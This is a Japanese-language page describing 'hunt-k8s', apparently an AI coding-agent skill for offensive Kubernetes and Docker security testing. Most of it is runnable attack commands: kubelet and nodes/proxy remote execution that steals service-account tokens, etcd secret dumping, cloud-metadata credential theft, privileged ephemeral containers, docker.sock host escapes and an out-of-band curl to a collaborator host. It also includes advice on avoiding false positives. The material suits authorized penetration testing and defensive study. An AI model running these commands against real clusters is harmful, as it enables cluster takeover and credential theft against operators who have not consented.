hunt-k8s について
Kubernetes と Docker のセキュリティ検査スキルです。クラスター、kubelet、etcd、サービスアカウントトークン、ダッシュボード、コンテナランタイムの露出を調べます。ステータスコードだけで判断せず、実際のアクセスや状態変化の証拠を重視します。
主な機能
- 01Kubernetes API 権限の確認
- 02kubelet と nodes/proxy の検査
- 03未認証 etcd の確認
- 04サービスアカウントトークンの評価
- 05Docker ソケットとランタイムの検査
- 06証拠と誤検知の指針
活用シーン
- 01Kubernetes の匿名アクセス権限の検証
- 02kubelet または API 経由の Pod 実行露出の検査
- 03etcd とコンテナソケットの機密アクセス確認
- 04本番ワークロードを変更せず影響を確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-k8sインストール後、Claude Code で/hunt-k8sを入力して読み込まれたか確認します。
詳細
HUNT-K8S — Kubernetes と Docker のセキュリティ
クラウンジュエルのターゲット
K8s API の匿名アクセスで cluster-admin 権限が得られると、クラスターを完全に制御できます。docker.sock と RCE があれば、ホストの root 権限を取得できます。特権ポッドを 1 つ作成するか、kubelet の /run でシェルを実行すれば、1 つの発見事項から完全な侵害へとつながります。
価値が最も高い発見事項:
- K8s API の匿名 cluster-admin —
system:anonymous/system:unauthenticatedが強力なロールにバインドされている状態(典型的な設定ミス:system:anonymousがClusterRoleBindingでcluster-adminにバインドされている)→kubectlを完全に操作できます。単に匿名アクセスで200が返るだけでは該当しません(誤検出のセクションを参照)。 - Kubelet の
10250に対する exec/run —/runはコマンドの出力を直接返します。/execは SPDY/WebSocket ストリームです(フェーズ 3 を参照)。いずれの場合も、任意のポッドで RCE が可能になり、そのポッドの SA トークンを窃取できます。 - API サーバー経由の kubelet RCE —
/api/v1/nodes/<node>/proxy/run/...は、権限の低い自身のトークンを使い、API サーバー経由で kubelet に到達します。RBAC でnodes/proxyが許可されていれば、10250 に直接アクセスせずにポッドで RCE を実行できます。2024~2026 年の主要な攻撃ベクトルです。 - etcd
2379の認証なしアクセス — すべての Secret(SA トークン、TLS キー、アプリの認証情報など)が保存されており、多くの場合は平文です(EncryptionConfigurationが設定されている場合を除く)→ 認証情報をすべてダンプできます。 - docker.sock の露出 — SSRF/LFI/RCE から
/var/run/docker.sockに到達できると、--privilegedコンテナを作成してホストの/をバインドマウントでき、ホストの root 権限を取得できます。 - runc を介したコンテナエスケープ — Leaky Vessels(CVE-2024-21626):
WORKDIR/process.cwdが漏えいした/proc/self/fd/<n>のホスト FD を指していると、攻撃者が制御するイメージ/exec から脱出してホストの root 権限を取得できます。 - SA トークンの悪用 —
/var/run/secrets/kubernetes.io/serviceaccount/tokenに自動マウントされるトークンです。影響を主張する前に、SelfSubjectRulesReview を使って実際の権限を確認してください。 - K8s Dashboard のログイン回避/トークンなし API — 認証なしで、クラスター管理 UI のすべてにアクセスできます。
OOB/確認の必須条件(最初に読む)
K8s の発見事項は、RCE/認証情報漏えいに該当します。基本ルール:ステータスコードから推測せず、状態の変更またはデータの読み取りを実証してください。
/api/v1/namespacesで200が返っても、cluster-admin とは限りません。API サーバーは、list namespacesにアクセスできる任意のプリンシパルに対し、RBAC でフィルタリングされた(空のitems: []であることも多い)リストを200で返します。いくつかのリソースへの匿名読み取りは一般的で、影響は限定的です。SelfSubjectRulesReview/SelfSubjectAccessReview で実際の権限を確認し、さらに Secret の値を実際に読み取ってください。- 10255(読み取り専用)と 10250(exec)はよく混同されます。10255(HTTP、認証なし)は情報漏えいのみで、
/pods、/stats、/metricsがあり、exec/run はありません。/runと/execがあるのは 10250(HTTPS)です。10255 にアクセスできただけで「kubelet RCE」と報告しないでください。 - ブラインド/アウトバウンドの攻撃ベクトルには OOB 確認が必要です。 SSRF→IMDS→K8s を悪用する場合や、ポッドのエグレスを悪用する場合は、Burp Collaborator/interactsh のサブドメインを使ってアウトバウンドの経路を確認してください(例:
/run経由でポッド内からcurl http://<token>.<collab>を実行)。応答の遅延や URL がそのまま返ることは、証拠になりません。 - 影響の証明=実際の成果物です。 exec の場合:
id/hostnameの文字どおりの出力。etcd/Secret の場合:デコードしたトークンのバイト列(レポートでは伏せてください)。docker.sock のエスケープの場合:ホストのファイル内容(ノードの/etc/hostname。コンテナのものとは異なります)。 - 作成権限がある場合は、専用のテスト用ネームスペース/テスト用ポッドを使用してください。RCE を「証明」するために、本番ワークロードで exec を実行しないでください。ポッドを一覧表示し、ポリシーで許可されていれば、自分で起動したポッドで読み取り専用の
idを実行するか、破壊的でないidを 1 回だけ実行して終了してください。
フェーズ 1 — フィンガープリントとポートの検出
# Common Kubernetes / container ports
PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010"
nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open
# API server fingerprint — the /version endpoint is anonymous on most clusters
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:6443/version" # {"major":"1","minor":"29","gitVersion":"v1.29.x"...}
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:6443/api" # APIVersions list, even pre-auth
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:6443/healthz"
# Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold)
curl --max-time 30 --connect-timeout 10 -s "http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1)
TOK=$(curl --max-time 30 --connect-timeout 10 -s -X PUT "http://[REDACTED_IP]/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2
curl --max-time 30 --connect-timeout 10 -s -H "X-aws-ec2-metadata-token: $TOK" "http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/"
curl --max-time 30 --connect-timeout 10 -s "http://[REDACTED_IP]/metadata/instance?api-version=2021-02-01" -H "Metadata: true" # Azure AKS
curl --max-time 30 --connect-timeout 10 -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKE
gitVersion を記録してください。以下の各 CVE の該当性を判断するために必要です。
フェーズ 2 — Kubernetes API の匿名/低権限アクセス
SRV="https://$TARGET:6443"
# 1. What am I? (anonymous → "system:anonymous")
curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
-H 'Content-Type: application/json' \
-d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'
# 2. What can I actually DO? (the only honest privilege check)
curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
-H 'Content-Type: application/json' \
-d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}'
# 3. Targeted access check for the crown-jewel verbs
for R in secrets pods nodes/proxy pods/exec; do
curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" -X POST \
-H 'Content-Type: application/json' \
-d "{\"kind\":\"SelfSubjectAccessReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"resourceAttributes\":{\"verb\":\"create\",\"resource\":\"${R%%/*}\",\"subresource\":\"${R#*/}\"}}}" \
| grep -o '"allowed":[a-z]*' | sed "s#^#$R #"
done
# 4. Only if access review says allowed — read a real Secret to prove impact
curl --max-time 30 --connect-timeout 10 -sk "$SRV/api/v1/secrets" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("items",[])),"secrets")'
# decode one value (redact before reporting):
# echo '<base64>' | base64 -d
CVE-2018-1002105(gitVersion < v1.10.11/1.11.5/1.12.3):API サーバーのプロキシにあるアップグレードの脆弱性により、認証されていないユーザー/低権限ユーザーが、API サーバーの ID を使ってバックエンド(kubelet/集約 API)へのリクエストを実行し、権限を昇格できます → cluster-admin。フェーズ 1 で gitVersion をフィンガープリントしてください。脆弱な場合、これが最も影響の大きい発見事項です。
フェーズ 3 — Kubelet(ポート 10250)— まず /run、/exec を正しく使う
以前のバージョンのこのスキルでは、単純な POST として /exec にリクエストを送り、id の出力が返ることを想定していました。これは誤りです。 /exec は SPDY/WebSocket のストリーミングエンドポイントです。単純な POST を送ると、ストリームの場所(例:/cri/exec/<token>)への 302 リダイレクトが返されるため、その後、SPDY/WebSocket クライアントで読み取る必要があります。以前の curl を実行して何も表示されないと、オペレーターは kubelet にパッチが適用されていると誤って判断します。
SRV="https://$TARGET:10250"
# Enumerate pods (auth varies; many kubelets allow anonymous read here)
curl --max-time 30 --connect-timeout 10 -sk "$SRV/pods" | python3 -m json.tool 2>/dev/null \
| grep -E '"namespace"|"name"|"containerName"' | head -40
NS=default; POD=target-pod; CTR=app
# --- PRIMITIVE A: /run — returns command output DIRECTLY (no stream handling) ---
# This is the simple correct primitive. Use this first.
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=id"
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
# --- PRIMITIVE B: /exec — SPDY/WebSocket stream, NOT a plain POST ---
# Option 1: kubeletctl handles the stream transport for you (recommended)
# kubeletctl --server $TARGET exec "id" -p $POD -c $CTR -n $NS
# kubeletctl --server $TARGET scan rce # finds every exec-able pod
# Option 2: raw — the POST returns a 302 to a stream path; -v to see Location, then
# read it with a SPDY3.1/WebSocket client (wscat / websocat), e.g.:
# curl -sk -i -X POST "$SRV/exec/$NS/$POD/$CTR?command=id&input=1&output=1&tty=0" # shows 302 Location
# websocat -k "wss://$TARGET:10250/cri/exec/<token-from-Location>"
# Container logs (read-only, no stream)
curl --max-time 30 --connect-timeout 10 -sk "$SRV/containerLogs/$NS/$POD/$CTR"
# Read-only kubelet 10255 — INFO DISCLOSURE ONLY, no exec/run. Do not call this "RCE".
curl --max-time 30 --connect-timeout 10 -s "http://$TARGET:10255/pods" | python3 -m json.tool 2>/dev/null | head
curl --max-time 30 --connect-timeout 10 -s "http://$TARGET:10255/metrics" | head
CVE-2020-8558(ホストネットワークの信頼性):影響を受ける kube-proxy では、ノードの 127.0.0.1 にバインドされたサービス(読み取り専用 kubelet やその他の localhost のみでアクセス可能なサービスを含む)が、ノード IP 経由で他の Pod や隣接ホストから到達可能になり、localhost の信頼境界が無効化されます。これにより、ループバックのみでアクセス可能と想定されていた kubelet や etcd へのラテラルアクセス経路が生まれます。
フェーズ 4 — API サーバー経由の Kubelet RCE(nodes/proxy)
10250 がファイアウォールでブロックされていても、nodes/proxy を持つトークン(権限の低い Pod SA であっても)を保持している場合は、API サーバー経由で exec をルーティングします。
SRV="https://$TARGET:6443"; H="-H \"Authorization: Bearer $TOKEN\""
NODE=$(curl --max-time 30 --connect-timeout 10 -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes" | grep -o '"name":"[^"]*"' | head -1 | cut -d'"' -f4)
# /run via the node proxy → output comes straight back
curl --max-time 30 --connect-timeout 10 -sk -X POST -H "Authorization: Bearer $TOKEN" \
"$SRV/api/v1/nodes/$NODE/proxy/run/$NS/$POD/$CTR" -d "cmd=id"
# enumerate every pod on a node via the proxy
curl --max-time 30 --connect-timeout 10 -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes/$NODE/proxy/pods"
バインドされた任意のロールにおける nodes/proxy は、事実上ノード全体に対する RCE を可能にします。CVE-2022-3294(kube-apiserver のノードアドレス検証):認証済みユーザーが、API サーバーのプロキシ接続先を到達可能な任意のホスト/IP にリダイレクトできました(プロキシ経由の内部 SSRF/ノードのなりすまし)。ノードアドレスを操作できる場合や、プロキシのサブリソースを利用できる場合に関係します。
フェーズ 5 — etcd の認証なしアクセス(ポート 2379)
# etcd holds ALL cluster state. Secrets are plaintext UNLESS EncryptionConfiguration is set.
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 get / --prefix --keys-only 2>/dev/null | head -50
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 \
get /registry/secrets --prefix 2>/dev/null | strings | grep -Ei 'token|password|tls.key|dockerconfig' | head -40
# HTTP/JSON gateway (key/range are base64; "Lw==" == "/")
curl --max-time 30 --connect-timeout 10 -s "http://$TARGET:2379/v3/kv/range" -H 'Content-Type: application/json' \
-d '{"key":"L3JlZ2lzdHJ5L3NlY3JldHM=","range_end":"L3JlZ2lzdHJ5L3NlY3JldHQ=","limit":20}' | python3 -m json.tool
# v2 (older clusters)
curl --max-time 30 --connect-timeout 10 -s "http://$TARGET:2379/v2/keys/?recursive=true" | python3 -m json.tool 2>/dev/null | head
etcd から復元した SA トークンを API サーバーに対して再利用し(フェーズ 6)、権限を確認します。誤検知: etcd ピアポート 2380 からの 200 や、TLS が必須のポートからハンドシェイクエラーが返される場合は、認証なしのクライアントアクセスを意味しません。キーのデータを伴う range/get が成功した場合のみ該当します。
フェーズ 6 — サービスアカウントトークンの悪用(バインド型/プロジェクション型トークン)
# From RCE/LFI inside a pod:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API="https://kubernetes.default.svc"
# Modern tokens are BOUND (projected): they have an audience + short expiry. DECODE before claiming reuse.
echo "$TOKEN" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | python3 -m json.tool
# Look at: "aud" (must match the API server audience to be accepted),
# "exp" (projected tokens rotate ~1h — a captured token may already be dead),
# "kubernetes.io/serviceaccount" (pod/node binding — token dies with the pod).
# If aud is e.g. ["vault"] not the api-server audience, it will NOT authenticate to the API → not cluster impact.
# Honest privilege check, then prove with a real read
curl --max-time 30 --connect-timeout 10 -sk "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d "{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"$NS\"}}"
curl --max-time 30 --connect-timeout 10 -sk "$API/api/v1/namespaces/$NS/secrets" -H "Authorization: Bearer $TOKEN"
EphemeralContainers による node-shell への権限昇格: pods/ephemeralcontainers(または Pod の create)がある場合、ホストの名前空間を共有するデバッグコンテナをアタッチして Pod から脱出します。
kubectl debug node/$NODE -it --image=busybox # mounts host root at /host → chroot /host
# or patch an ephemeral container with hostPID/privileged via the API:
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$API/api/v1/namespaces/$NS/pods/$POD/ephemeralcontainers" \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/strategic-merge-patch+json' \
-d '{"spec":{"ephemeralContainers":[{"name":"x","image":"busybox","command":["sleep","1d"],"securityContext":{"privileged":true}}]}}'
フェーズ 7 — Docker ソケットの露出と runc コンテナエスケープ
# docker.sock reachable (SSRF unix://, LFI of socket, or RCE on host)
curl --max-time 30 --connect-timeout 10 -s --unix-socket /var/run/docker.sock http://localhost/v1.41/info
curl --max-time 30 --connect-timeout 10 -s --unix-socket /var/run/docker.sock http://localhost/v1.41/containers/json
# Privileged container bind-mounting host root → read/write host fs (host escape)
curl --max-time 30 --connect-timeout 10 -s --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
-X POST http://localhost/v1.41/containers/create?name=poc \
-d '{"Image":"alpine","Cmd":["cat","/host/etc/hostname"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
curl --max-time 30 --connect-timeout 10 -s --unix-socket /var/run/docker.sock -X POST http://localhost/v1.41/containers/poc/start
curl --max-time 30 --connect-timeout 10 -s --unix-socket /var/run/docker.sock "http://localhost/v1.41/containers/poc/logs?stdout=1"
# Impact proof = the NODE's /etc/hostname (differs from the container's hostname).
コンテナエスケープの CVE(runc/バージョンで判定):
- CVE-2024-21626 — 「Leaky Vessels」(runc ≤ 1.1.11):
/proc/self/fd/<n>経由で漏えいしたホストのファイルディスクリプターにより、悪意のあるイメージ(WORKDIR /proc/self/fd/N)またはrunc execの作業ディレクトリからホストのファイルシステムへ脱出し、ホスト上で RCE を実行できます。Dockerfile を操作できるビルド/レジストリ環境で、自分が管理するイメージを使ってのみテストしてください。 - CVE-2019-5736(runc): exec で侵入可能なコンテナ内からホストの
/proc/self/exe(runc バイナリ)を上書きすると、次回の runc 呼び出し時にホストの root 権限を取得できます。非常に古い runc が対象です。 - CVE-2022-0492(cgroups v1
release_agent):CAP_SYS_ADMINを持つ(または cgroupfs をマウントできる)コンテナが、ホスト上で実行されるrelease_agentを書き込むことで脱出できます。まずコンテナのケイパビリティを確認してください。
フェーズ 8 — Dashboard、Admission、Helm/Tiller の残存
# Kubernetes Dashboard — correct API base is /api/v1/... UNDER the dashboard service.
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:8443/" | grep -i "kubernetes dashboard"
# token-less probe (skip-login or anonymous-bound dashboard SA):
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:8443/api/v1/secret/default" # secrets list view
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:8443/api/v1/pod/default" # pods list view
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:8443/api/v1/namespace" # namespaces
# (paths are <resource> not <resource>/<id>; a 200 with real items = unauth dashboard data access)
# Helm 2 / Tiller remnant — gRPC on 44134, historically NO auth → full cluster as Tiller's SA
nmap -p 44134 -sV $TARGET
# helm --host $TARGET:44134 ls # if it answers, Tiller is exposed → install/delete any release
# Validating/Mutating admission webhooks — enumerate to find bypassable policy or SSRF-able webhook URLs
curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/admissionregistration.k8s.io/v1/validatingwebhookconfigurations" -H "Authorization: Bearer $TOKEN"
# A webhook clientConfig.url pointing at an external/attacker-influenced host = SSRF/bypass surface.
チェーン表
| K8s の検出事項 | チェーン先 | 影響 |
|---|---|---|
| 秘密情報の読み取りを確認済みの API 匿名アクセス | SA/TLS/アプリの認証情報を抽出 | クラスター全体の侵害 |
nodes/proxy トークン | API サーバー経由の /run → Pod の RCE → SA トークン | ノード全体の RCE → 権限昇格 |
Kubelet 10250 /run | 任意の Pod で exec → SA トークンを窃取 → API | クラスターの権限昇格 |
| etcd 2379 の認証なしアクセス | すべての Secret をダンプ(暗号化されていない場合)→ トークンを再利用 | すべての認証情報のダンプ |
| docker.sock | 特権コンテナ + ホストのバインドマウント | ホストの root 権限 |
| CVE-2024-21626(runc) | 悪意のあるイメージ/exec → ホスト FD を経由した脱出 | コンテナからホストの root 権限 |
| EphemeralContainers/pods の create | 特権/hostPID のデバッグコンテナ | Pod からノードへ脱出 |
| プロジェクション型 SA トークン(aud が一致) | 実際の RBAC によって制限された API アクセス | RBAC によって異なります。まず確認してください |
| Tiller 44134 の露出 | Tiller SA として helm install | Tiller に特権があれば cluster-admin |
誤検知を防ぐポイント
- 匿名の
200≠ cluster-admin。 RBAC でフィルタリングされた一覧取得では、200と空のitemsが返されます。SelfSubjectRulesReview で対象の動詞が許可されていることを確認し、実際に Secret の値を読み取る必要があります。 - 10255 ≠ 10250。 読み取り専用の kubelet では exec/run を実行できません。「Kubelet RCE」と主張するには、10250 の
/runの出力、または完了した/execストリームが必要です。 /execへの通常の POST は出力ではなく 302 を返します。 本文が見えなくても「パッチ適用済み」という意味ではありません。結論を出す前に、kubeletctl/websocat でストリームを追跡してください。- 投影型/バインドされた SA トークンは、無効または対象オーディエンスが異なる場合があります。
expとaudをデコードしてください。Vault/OIDC オーディエンス用のトークンでは、API サーバーに対して認証できません。 - etcd が平文だという思い込みに注意してください。
EncryptionConfigurationが有効な場合、etcd 内の Secret の値は暗号文です。デコードしたバイト列を示さずに「平文のシークレット」と主張しないでください。 - CVE はバージョンによって該当性が異なります。 CVE-2018-1002105、-2024-21626、-2019-5736 などを主張する前に、
gitVersion(フェーズ 1)や runc のバージョンを確認してください。バージョンの一致は手掛かりであり、PoC の出力が証拠です。 - Dashboard の HTML シェルに対する
200は、単なるログインページです。トークンなしでデータにアクセスできる証拠となるのは、/api/v1/<resource>/<ns>から実際のリソース JSON を含む200が返された場合のみです。
検証チェックリスト
- API の匿名アクセス: SelfSubjectRulesReview で特権動詞が許可されていることを確認し、実際に Secret の値を読み取った(値は伏せ字)。
- Kubelet: 10250 の
/runから文字どおりのid/hostnameの出力が返された、または/execストリームが完了した(単なる 302 ではない)。 - nodes/proxy による RCE: 自分のトークンを使って
/api/v1/nodes/<node>/proxy/run/...経由でコマンド出力が返された。 - etcd: キー一覧だけでなく、デコードした Secret のバイト列が示された(暗号化されておらず、読み取り可能であることの証明)。
- docker.sock/エスケープ: NODE のホストファイルの内容を取得した(コンテナ内のファイルとは別)、または runc-escape PoC の出力が得られた。
- SA トークン:
aud/expをデコードして有効性を示し、影響範囲を実際の RBAC 権限に限定した。 - OOB: 外向き通信/SSRF のホップを Collaborator/interactsh のサブドメイン経由で確認した。
深刻度:
- API の匿名アクセスによる Secret 読み取り、kubelet/nodes-proxy による RCE、etcd のダンプ、docker.sock/runc エスケープ、CVE-2018-1002105:Critical
- Dashboard のトークンなしデータアクセス、公開された Tiller:High
- 読み取り専用 kubelet 10255、匿名の
/version//podsによる情報漏えい:Medium
検証
次のセルフテストを実行して、k8s の調査準備ができていることを確認してください。
-
スキルの整合性 — スキルファイルが読み取り可能で、適切な形式であることを確認します。
grep -q "name: hunt-k8s" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリがあることを確認します。
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が記載されていることを確認します。
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3 つのテストすべてで、スキルが適切に構成され、使用できる状態であることを確認します。
落とし穴
- Pod の exec を伴わない kubelet への匿名アクセス — 読み取り専用の kubelet アクセスは偵察にすぎません。Pod の exec、ログの流出、または認証情報へのアクセスが必要です。
- 認証不要でも暗号化されている etcd — etcd には暗号化されたシークレットが保存されている場合があります。認証情報の窃取を主張する前に、シークレットを復号できるかテストしてください。
- ログインなしで利用できる Kubernetes dashboard — dashboard のログインスキップオプションは既知の設定ミスです。可視性だけでなく、実際に Pod の exec をテストしてください。
- 悪用を伴わない RBAC の列挙 — ロールの一覧表示は情報の取得にすぎません。そのロールで実際に何ができるかを実証する必要があります。
- cluster-admin 権限のないサービスアカウントトークン — デフォルトのサービスアカウントトークンの権限は限定されています。クラスター乗っ取りを主張する前に、トークンの実際の権限を確認してください。